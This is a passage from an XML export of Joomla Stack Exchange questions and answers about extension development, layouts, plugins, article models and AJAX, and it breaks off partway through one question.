  <row Id="29089" PostTypeId="2" ParentId="27890" CreationDate="2021-05-04T06:32:05.827" Score="1" Body="&lt;p&gt;Depending on the host of your website, there can be several solutions.&lt;/p&gt;&#xA;&lt;p&gt;First, as already mentioned, rename the htaccess file.&lt;/p&gt;&#xA;&lt;p&gt;If this proves to be unsuccessful:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Look into the system information tab and be sure that you're on an apache system and not on nginx. Because htaccess only affects Apache. Otherwise, you need to configure nginx.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're on Apache, check the rewrite base within the htaccess and remove the #. Or have a call with your hosting service provider to be sure that there is no other configuration necessary for the rewrite base.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15216" LastEditorUserId="12352" LastEditDate="2021-05-04T08:20:28.013" LastActivityDate="2021-05-04T08:20:28.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29090" PostTypeId="2" ParentId="29062" CreationDate="2021-05-04T10:07:41.497" Score="1" Body="&lt;p&gt;I think it is an interesting question and I've got to this point earlier myself during developing an extension. I do not think there is any strict solution on this but there is a workable approach which comes from the structure of Joomla and I only would like to share that approach here.&lt;/p&gt;&#xA;&lt;p&gt;First of all, you are a very kind person if you want to provide more options on appearance to your future extension's end-users, but honestly you might not be able to satisfy them due to the extreme amount of variations of UI frameworks/template systems they could use on their Joomla sites which you cannot predict fully. But since Joomla uses a great layout/template system thus anybody can create layout overrides to their specific front-end environment and specific needs. So, you of course have to make sure that your extension's layouts are override-able. I think that is the most important part of this question and Joomla can handle that automatically with its template override system. And providing extra UI templates could be a priced addition to your extension, it is also true.&lt;/p&gt;&#xA;&lt;p&gt;I will not write almost any code here since I know that you know these basic codes in Joomla, I'm just giving the steps of the approach to accomplish your goal:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;For providing two options for two different layouts, you first have to add a selection in your extension's configuration file (parameters) where the admin can choose and set for example a `layout-version' from choices: &lt;em&gt;'bootstrap' (0)&lt;/em&gt; or &lt;em&gt;'UIKit' (1)&lt;/em&gt; as layout/UI framework option. And this choice is going to be saved in your component's params of course as 0 or 1 value for example but it could be the string itself too. But let's use now 0 value for bootstrap and 1 value for uikit. The default value could be 0 / bootstrap of the selection field. (As an extra you can also create an option to choose whether they already have uikit loaded on their page or not but I'm not going into this now.)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your &lt;strong&gt;view&lt;/strong&gt; file (&lt;code&gt;view.html.php&lt;/code&gt;) in &lt;code&gt;display($tpl = null)&lt;/code&gt; method you will have to re-define the &lt;code&gt;$tpl&lt;/code&gt; variable according to the choice from the params of your extension if other than the default was chosen in the configuration of your component. So as an example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $layoutV = JComponentHelper::getParams('com_example')-&amp;gt;get('layout-version', 0);&#xA;&#xA; if ($layoutV !== 0) {&#xA;   $tpl = 'uikit';&#xA; }&#xA;&#xA; return parent::display($tpl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your &lt;strong&gt;view's tmpl folder&lt;/strong&gt; you have to create two layout files, one is the &lt;code&gt;default.php&lt;/code&gt; (with bootstrap) and the other one is the &lt;code&gt;default_uikit.php&lt;/code&gt; file (with using UIKIt). and according to the params' setting the &lt;strong&gt;view&lt;/strong&gt; will use the selected layout file automatically. The two layout could be more or less the same, the only different will be the class names of the html elements and that you will place a line on the top of the layout files which line is going to import the appropriate UI framework main files from anywhere you define.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So with this relatively simple approach you can add as many different UI layouts to your component as you would like to.&lt;/p&gt;&#xA;&lt;p&gt;And simply just to also answer your original question and approach, you do not code for two template framework in one layout file, it could be a mess at the end.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-05-04T13:24:49.860" LastActivityDate="2021-05-04T13:24:49.860" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="29091" PostTypeId="2" ParentId="29081" CreationDate="2021-05-04T13:32:58.377" Score="0" Body="&lt;p&gt;The key thing in the code in the first answer that doesn't want to display is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($type === 'install')&#xA;    {&#xA;        // Install the global extenstion params.&#xA;        $db    = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        // Field to update.&#xA;        $fields = array(&#xA;            $db-&amp;gt;quoteName('params') . ' = ' . $db-&amp;gt;quote('{&amp;quot;authorName&amp;quot;:&amp;quot;Your Name&amp;quot;,&amp;quot;authorEmail&amp;quot;:&amp;quot;Your email&amp;quot;,&amp;quot;your config.xml param&amp;quot;:&amp;quot;your config.xml param value&amp;quot;}'),&#xA;        );&#xA;        // Condition.&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('com_mycom')&#xA;        );&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $allDone = $db-&amp;gt;execute();&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2021-05-04T13:32:58.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29092" PostTypeId="1" CreationDate="2021-05-04T20:13:36.840" Score="0" ViewCount="68" Body="&lt;p&gt;I am using Joomla 3.9.22.&lt;/p&gt;&#xA;&lt;p&gt;On the back end contact form, I want to make check on the submitted data. I tried to make a plugin but with no luck.&lt;/p&gt;&#xA;&lt;p&gt;I have found the onSubmitContact event, but it does not trigger on the back end contact form. I used the code below:&lt;/p&gt;&#xA;&lt;p&gt;public function onSubmitContact($contact, $data ) {&#xA;print_r ( $contact);&#xA;print_r($data);&#xA;exit;&#xA;}&lt;/p&gt;&#xA;&lt;p&gt;I have also see here&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;the event onTableBeforeStore but I can not see any example or doc about how to use it.&lt;/p&gt;&#xA;&lt;p&gt;So any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14713" LastActivityDate="2021-05-04T20:13:36.840" Title="Contact backend on before store process" Tags="|plugin-events|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="29093" PostTypeId="2" ParentId="29079" CreationDate="2021-05-05T09:10:02.163" Score="2" Body="&lt;p&gt;Probably you didn't run the indexer that's why smart search doesn't show any results.&lt;/p&gt;&#xA;&lt;p&gt;Here are the steps you should follow for the smart search to work (probably you should go to the fifth step directly):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;After you log in to the administrator area click on the Extensions →&#xA;Plug-in Manager menu item.&lt;/li&gt;&#xA;&lt;li&gt;Next, filter the plug-in list so that only Smart Search plug-ins are&#xA;shown. This can be done by selecting &amp;quot;finder&amp;quot; from the &amp;quot;Select Type&amp;quot;&#xA;filter drop-down.&lt;/li&gt;&#xA;&lt;li&gt;Now, enable the plugins you want to use for your site and disable&#xA;the rest.&lt;/li&gt;&#xA;&lt;li&gt;Click on the Components → Smart Search menu item.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Click on the Index button in the toolbar to start the indexer&lt;/strong&gt;. This&#xA;will cause a modal window to load with some indexer status&#xA;information and a progress bar. Indexing is complete&#xA;when the progress bar disappears and you see a message indicating&#xA;that it is now safe to close the modal window.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Here is a more complete guide about smart search in Joomla: &lt;a href=&quot;https://docs.joomla.org/Smart_Search_quickstart_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smart Search quickstart guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15187" LastActivityDate="2021-05-05T09:10:02.163" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29094" PostTypeId="1" AcceptedAnswerId="29101" CreationDate="2021-05-05T09:38:56.693" Score="0" ViewCount="38" Body="&lt;p&gt;In my module i get the articles via this way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;$model-&amp;gt;setState('params', JFactory::getApplication()-&amp;gt;getParams());&#xA;$model-&amp;gt;setState('filter.category_id', 22);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This gets all the articles from a specific category. But now I have the issue that the Fields from the com_fields component are not retrieved via this method. I probably have to do that myself. Does anyone know how to add the fields?&lt;/p&gt;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;addFields();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-05-05T18:42:17.470" Title="Add fields to the articles retrieved by ArticlesModel" Tags="|articles|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29095" PostTypeId="1" AcceptedAnswerId="29111" CreationDate="2021-05-05T09:46:43.870" Score="0" ViewCount="38" Body="&lt;p&gt;How can I bring the featured articles to the front of the articles array retrieved by the ArticlesModel?&lt;/p&gt;&#xA;&lt;p&gt;I know I can change the ordering via this line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;setState('list.ordering', $ordering);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that is for example on the publish up or down string. But how can I bring the featured articles to the front?&lt;/p&gt;&#xA;&lt;p&gt;Is that possible with the model or do I just need to loop through the array, and manually bring these items to the front?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-05-08T13:45:34.990" Title="Bring featured articles to the front of the articles retrieved by ArticlesModel" Tags="|articles|model|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29096" PostTypeId="2" ParentId="29095" CreationDate="2021-05-05T10:27:23.517" Score="0" Body="&lt;p&gt;You could use filter.featured=1 to select just the filtered articles and then select the non featured articles and combine the arrays.&lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2021-05-05T10:27:23.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29097" PostTypeId="1" CreationDate="2021-05-05T10:49:38.920" Score="1" ViewCount="324" Body="&lt;p&gt;I need some advice on how to implement an OWL carousel with Joomla! native custom module. I have done some research already and I have tried several options including the add of the owl files to the media/jui folder, but for now the result is null.&lt;/p&gt;&#xA;&lt;p&gt;The html part is a simple code&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;&#xA;1&#xA;&#xA;&lt;/pre&gt;&#xA;&lt;pre&gt; $('.owl-carousel').owlCarousel({&#xA;    loop:true,&#xA;    margin:10,&#xA;    nav:true,&#xA;    responsive:{&#xA;        0:{&#xA;            items:1&#xA;        },&#xA;        600:{&#xA;            items:3&#xA;        },&#xA;        1000:{&#xA;            items:5&#xA;        }&#xA;    }&#xA;})&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="15224" LastEditorUserId="15224" LastEditDate="2021-05-08T14:56:57.733" LastActivityDate="2021-05-08T14:56:57.733" Title="Joomla Custom module With Owl carousel" Tags="|module|carousel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29099" PostTypeId="2" ParentId="29097" CreationDate="2021-05-05T13:57:45.543" Score="2" Body="&lt;p&gt;What do you exactly mean with &amp;quot;Joomla! native custom module&amp;quot;? Joomla's Custom HTML module?&lt;/p&gt;&#xA;&lt;p&gt;The OWL carousel I found on github uses some JavaScript(JS) + CSS, and some HTML tags with classes that you could put in your Joomla custom HTML module:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;owl-carousel owl-theme&amp;quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt; Your Content &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div&amp;gt; Your Content &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The JS + CSS have to be loaded on the pages where you display the Joomla Custom Module. To load JS or CSS, you could use Joomla's&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Factory::getDocument like described here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;or use Joomla's HTMLHelper: &lt;a href=&quot;https://joomla.stackexchange.com/questions/24767/how-to-use-htmlhelper-to-add-to-the-document-head&quot;&gt;How to use HTMLHelper to add to the document head&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For instance, you could load the JS + CSS via your front-end template. However it will be loaded on all other pages as well and might have a (small) negative impact on the performance of your website.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-05-05T13:57:45.543" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29100" PostTypeId="2" ParentId="29050" CreationDate="2021-05-05T18:12:32.627" Score="0" Body="&lt;p&gt;I have solved it by adding a class file under &lt;strong&gt;/site/src/Service/Html/Grid.php&lt;/strong&gt; with the namespace &lt;code&gt;Mycomponent\Forum\Site\Service\Html;&lt;/code&gt; in this class, I have some methods like &lt;code&gt;published()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then in the file &lt;strong&gt;/admin/src/Extension/MyComponent.php&lt;/strong&gt;, I added the class into the boot method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function boot(ContainerInterface $container) &#xA;{&#xA;    $this-&amp;gt;getRegistry()-&amp;gt;register('grid', new Grid($container-&amp;gt;get(SiteApplication::class)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I can call the method like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::_('grid.published', $row, $item-&amp;gt;published, '', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2021-05-05T23:00:01.167" LastActivityDate="2021-05-05T23:00:01.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29101" PostTypeId="2" ParentId="29094" CreationDate="2021-05-05T18:35:42.513" Score="1" Body="&lt;p&gt;Normally fields are added by the Fields plugin. You can trigger &lt;code&gt;onContentPrepare&lt;/code&gt; event to run this and other content plugins:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;triggerEvent('onContentPrepare', ['com_content.article', &amp;amp;$article, &amp;amp;$article-&amp;gt;params]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Fields will be available via &lt;code&gt;jcfields&lt;/code&gt; property on the article object.&lt;/p&gt;&#xA;&lt;p&gt;Another option is to manually use &lt;code&gt;FieldsHelper&lt;/code&gt; class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$fields = FieldsHelper::getFields('com_content.article', $article);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-05-05T18:42:17.470" LastActivityDate="2021-05-05T18:42:17.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29102" PostTypeId="2" ParentId="29081" CreationDate="2021-05-06T09:22:09.783" Score="3" Body="&lt;p&gt;It does seem that nobody has a solution to this issue based on a method within Joomla. The use of code in the script file that duplicates in different form the XML of config.xml is a work around. That is OK so far as it goes but it is clearly not ideal to have the same information in two different places. Especially in two different formats. It is almost certain to lead to inconsistencies sooner or later.&lt;/p&gt;&#xA;&lt;p&gt;It is possible in a relatively few lines of code to turn the config.xml file into a Registry object, similar to the one that would be obtained from &amp;quot;getParams&amp;quot;. It's here written as static methods within a utility class. Once you have a Registry object, you can obtain the JSON to store in the extension table by simply coercing the object to a string by putting (string) in front of it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Registry\Registry;&#xA;&#xA;public static function getParamsFromConfig($element) {&#xA;    $params = new Registry();&#xA;    $xmldata = simplexml_load_file(JPATH_ADMINISTRATOR . '/components/' . $element . '/config.xml');&#xA;    $paramarray = array();&#xA;    self::addLayerToParams($paramarray, $xmldata);&#xA;    $params-&amp;gt;loadString(json_encode($paramarray));&#xA;    return $params;&#xA;}&#xA;&#xA;private static function addLayerToParams(&amp;amp;$paramarray, $xmldata) {&#xA;    if ($xmldata-&amp;gt;count()) {&#xA;        foreach ($xmldata-&amp;gt;children() as $child) {&#xA;            self::addLayerToParams($paramarray, $child);&#xA;        }&#xA;    }&#xA;    if ('field' == $xmldata-&amp;gt;getName()) {&#xA;        $paramarray[(string) $xmldata['name']] = (string) $xmldata['default'];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I guess there must be code somewhat similar to this somewhere in com_config but so far as I can see, it is not readily accessible.&lt;/p&gt;&#xA;&lt;p&gt;So far, I haven't explored the related question of how to deal with the situation where a new release of the component changes config.xml.&lt;/p&gt;&#xA;&lt;p&gt;The code could be improved by adding error handling in case of mistakes in the XML of config.xml.&lt;/p&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="15057" LastEditDate="2021-05-06T16:08:16.873" LastActivityDate="2021-05-06T16:08:16.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29103" PostTypeId="1" AcceptedAnswerId="29104" CreationDate="2021-05-07T04:07:32.387" Score="2" ViewCount="543" Body="&lt;p&gt;I am trying to add an inline Javascript in my Joomla 4 plugin using addScriptDeclaration().I edited the code like suggested but the plugin is not working .After enabling it , it is not doing anything .Also I'm confused about the error &lt;strong&gt;Uncaught ReferenceError: $ is not defined&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemhelloworld extends CMSPlugin&#xA;{&#xA;  &#xA;  public function onAfterDispatch()&#xA;    {&#xA;   $result = &amp;quot;girl&amp;quot;;&#xA;  $document = JFactory::getDocument();&#xA;  $document-&amp;gt;addScriptDeclaration(' document.addEventListener(&amp;quot;DOMContentLoaded&amp;quot;, function()&#xA;    {&#xA;      alert(hello + &amp;quot;' . $result . '&amp;quot;);&#xA;      }&#xA;   );');&#xA;      &#xA;     &#xA;    &#xA;    } &#xA;}&#xA;?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also, Is there any good tutorials available ?&lt;/p&gt;&#xA;" OwnerUserId="15205" LastEditorUserId="15205" LastEditDate="2021-05-08T04:27:46.793" LastActivityDate="2021-05-08T05:24:17.020" Title="addScriptDeclaration is not working" Tags="|javascript|joomla-4.x|system-plugin|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="29104" PostTypeId="2" ParentId="29103" CreationDate="2021-05-07T05:28:44.010" Score="2" Body="&lt;p&gt;&lt;em&gt;$document-&amp;gt;addScriptDeclaration()&lt;/em&gt; method is working, no problem with that.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;window.event&lt;/code&gt; is deprecated:&#xA;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/event&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Window/event&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;instead of that you should use &lt;strong&gt;document.addEventListener()&lt;/strong&gt; or &lt;strong&gt;window.addEventListener()&lt;/strong&gt; on the event of &lt;code&gt;DOMContentLoaded&lt;/code&gt;&#xA;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/DOMContentLoaded_event&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Window/DOMContentLoaded_event&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So the working version of your code is about this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemappendtext extends CMSPlugin&#xA;{&#xA;    public function onBeforeCompileHead()&#xA;    {&#xA;       $result = &amp;quot; girl&amp;quot;; // just for a sample text&#xA;       $document = JFactory::getDocument();&#xA;       $document-&amp;gt;addScriptDeclaration(' window.addEventListener( &amp;quot;DOMContentLoaded&amp;quot;, function()&#xA;       {&#xA;             alert(hello + &amp;quot;' . $result . '&amp;quot;); //or any other js code&#xA;       }&#xA;       ); ');&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;Uncaught ReferenceError: $ is not defined&lt;/code&gt; is coming from another wrongly applied jQuery script on your page.&lt;/p&gt;&#xA;&lt;p&gt;And after few question's update and clearing just to complete this for future readers, as @Sharky correctly pointed to the appropriate plugin events, the plugin should use &lt;code&gt;public function onBeforeCompileHead()&lt;/code&gt; function and everything will work fine.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="15205" LastEditDate="2021-05-08T05:24:17.020" LastActivityDate="2021-05-08T05:24:17.020" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29106" PostTypeId="2" ParentId="29103" CreationDate="2021-05-07T13:30:24.590" Score="2" Body="&lt;p&gt;You are using &lt;code&gt;onAfterRender&lt;/code&gt; event which is not suitable for modifying the document object because this event is triggered after the page has already been rendered. Use &lt;code&gt;onAfterDispatch&lt;/code&gt;, &lt;code&gt;onBeforeRender&lt;/code&gt; or &lt;code&gt;onBeforeCompileHead&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-05-07T13:30:24.590" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29107" PostTypeId="2" ParentId="27988" CreationDate="2021-05-07T14:34:24.767" Score="2" Body="&lt;p&gt;You might want to try switching from the Bootstrap (default) template to the Div template layout instead, that will give you a &amp;quot;card like&amp;quot; layout, that will give the feel of an article blog layout.&lt;/p&gt;&#xA;" OwnerUserId="15240" LastEditorUserId="12352" LastEditDate="2021-05-07T21:27:29.020" LastActivityDate="2021-05-07T21:27:29.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29108" PostTypeId="1" CreationDate="2021-05-08T03:35:12.310" Score="0" ViewCount="56" Body="&lt;p&gt;I have problem with sharing URL to Facebook is missing image with Easyblog.&#xA;I have upload cover image and there are pictures in article also.&lt;/p&gt;&#xA;&lt;p&gt;I check with Sharing Debugger and I can see the image.&lt;/p&gt;&#xA;&lt;p&gt;og:image    &lt;a href=&quot;https://seekkhmer.com/images/easyblog_articles/1/b2ap3_large_0001.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://seekkhmer.com/images/easyblog_articles/1/b2ap3_large_0001.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but I do not know which preview image doesn’t show.&lt;/p&gt;&#xA;&lt;p&gt;Here is my website link&#xA;&lt;a href=&quot;https://seekkhmer.com/index.php/news-easyblog/easyblog-installed-successfully.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://seekkhmer.com/index.php/news-easyblog/easyblog-installed-successfully.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;thank u&lt;/p&gt;&#xA;" OwnerUserId="14595" LastEditorUserId="14595" LastEditDate="2021-05-10T04:33:15.760" LastActivityDate="2024-01-26T15:00:20.060" Title="EasyBlog Component missing image to URL to Facebook" Tags="|joomla-3.x|url|facebook|easyblog|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29109" PostTypeId="1" AcceptedAnswerId="29110" CreationDate="2021-05-08T09:49:33.387" Score="1" ViewCount="38" Body="&lt;p&gt;If you have a set of forms and some of the same fields are used on each form, do you create a language definition for each form's version of the field or just create a definition for the field?&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;COM_TEST_CONSENT_TO_PROCESS_LBL=&amp;quot;Consent to process this notification?&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is it acceptable to reuse the definition since the text will be the same across all of the forms using that field?&lt;/p&gt;&#xA;" OwnerUserId="15191" LastEditorUserId="12352" LastEditDate="2021-05-20T21:01:24.300" LastActivityDate="2021-05-20T21:01:24.300" Title="Should language file definitions/translations be used by multiple forms with the same text?" Tags="|form|language|fields|joomla-coding-standards|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29110" PostTypeId="2" ParentId="29109" CreationDate="2021-05-08T10:14:03.247" Score="1" Body="&lt;p&gt;I started out following the Joomla examples and did have form or view name in all labels but found it easier to just have one definition per extension.&lt;/p&gt;&#xA;&lt;p&gt;For circumstances where you might need an different version you can look at the 'alt' method of the TEXT api, &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Language.Text.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Language.Text.html&lt;/a&gt;, which can be used for more than just language alternatives.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-05-08T10:14:03.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29111" PostTypeId="2" ParentId="29095" CreationDate="2021-05-08T13:45:34.990" Score="1" Body="&lt;p&gt;Order by featured column and use descending direction:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;setState('list.ordering', 'a.featured');&#xA;$model-&amp;gt;setState('list.direction', 'DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-05-08T13:45:34.990" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29112" PostTypeId="2" ParentId="29108" CreationDate="2021-05-11T10:06:24.047" Score="0" Body="&lt;p&gt;I share Joomla article URL to Facebook and the image preview is working. I think it is not from server or image size. Maybe Easyblog conflict with another software.&#xA;thank u&lt;/p&gt;&#xA;" OwnerUserId="14595" LastActivityDate="2021-05-11T10:06:24.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29113" PostTypeId="1" CreationDate="2021-05-11T11:47:45.993" Score="0" ViewCount="556" Body="&lt;p&gt;i have coded a little component to administrate books for a histroy club. I added some views to deiplay different tables with book date. So far everythign works.&lt;/p&gt;&#xA;&lt;p&gt;In fact the DB access and the building of the table and stepping thru the custom fields takes a bit and so i would like to add a kind of &amp;quot;Loading message&amp;quot; to the view. Until now i added the loading message and the AJAX call to the view ... the loading message apperars and the AJAX call is done. But in fact nothing happens.&lt;/p&gt;&#xA;&lt;p&gt;Thats the call from the default.php so far&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;    function GetDataFromDB() {&#xA;        $.ajax({type: 'POST', &#xA;                url: 'index.php?option=com_literaturverzeichnis&amp;amp;view=gesamtajax&amp;amp;task=GetBookDataFromDB',&#xA;                data: {action: 'gesamt'},       &#xA;                cache: false&#xA;                success: function(data){&#xA;                    alert(&amp;quot;success&amp;quot;);&#xA;                },      &#xA;                error:function(){&#xA;                    alert(&amp;quot;error&amp;quot;);&#xA;                }&#xA;        });         &#xA;    }&#xA;    (function ($) {&#xA;        $(window).load(function(){&#xA;            document.getElementById(&amp;quot;resultdiv&amp;quot;).style.display = &amp;quot;none&amp;quot;;&#xA;            document.getElementById(&amp;quot;btnprint&amp;quot;).style.display = &amp;quot;none&amp;quot;;&#xA;            document.getElementById(&amp;quot;loadingdiv&amp;quot;).style.display = &amp;quot;block&amp;quot;;&#xA;            document.getElementById(&amp;quot;loader&amp;quot;).style.display = &amp;quot;block&amp;quot;;&#xA;            GetDataFromDB();&#xA;        });&#xA;    })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And thats the controller.php of the component.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class LiteraturverzeichnisController extends JControllerLegacy&#xA;{   &#xA;    function GetBookDataFromDB() { echo &amp;quot;&amp;lt;p&amp;gt;WORKS FINE&amp;lt;/p&amp;gt;&amp;quot;; }          &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now i receive an empty HTML page with the text from the function, but i want to have the view active and just the function return the data to display it in the 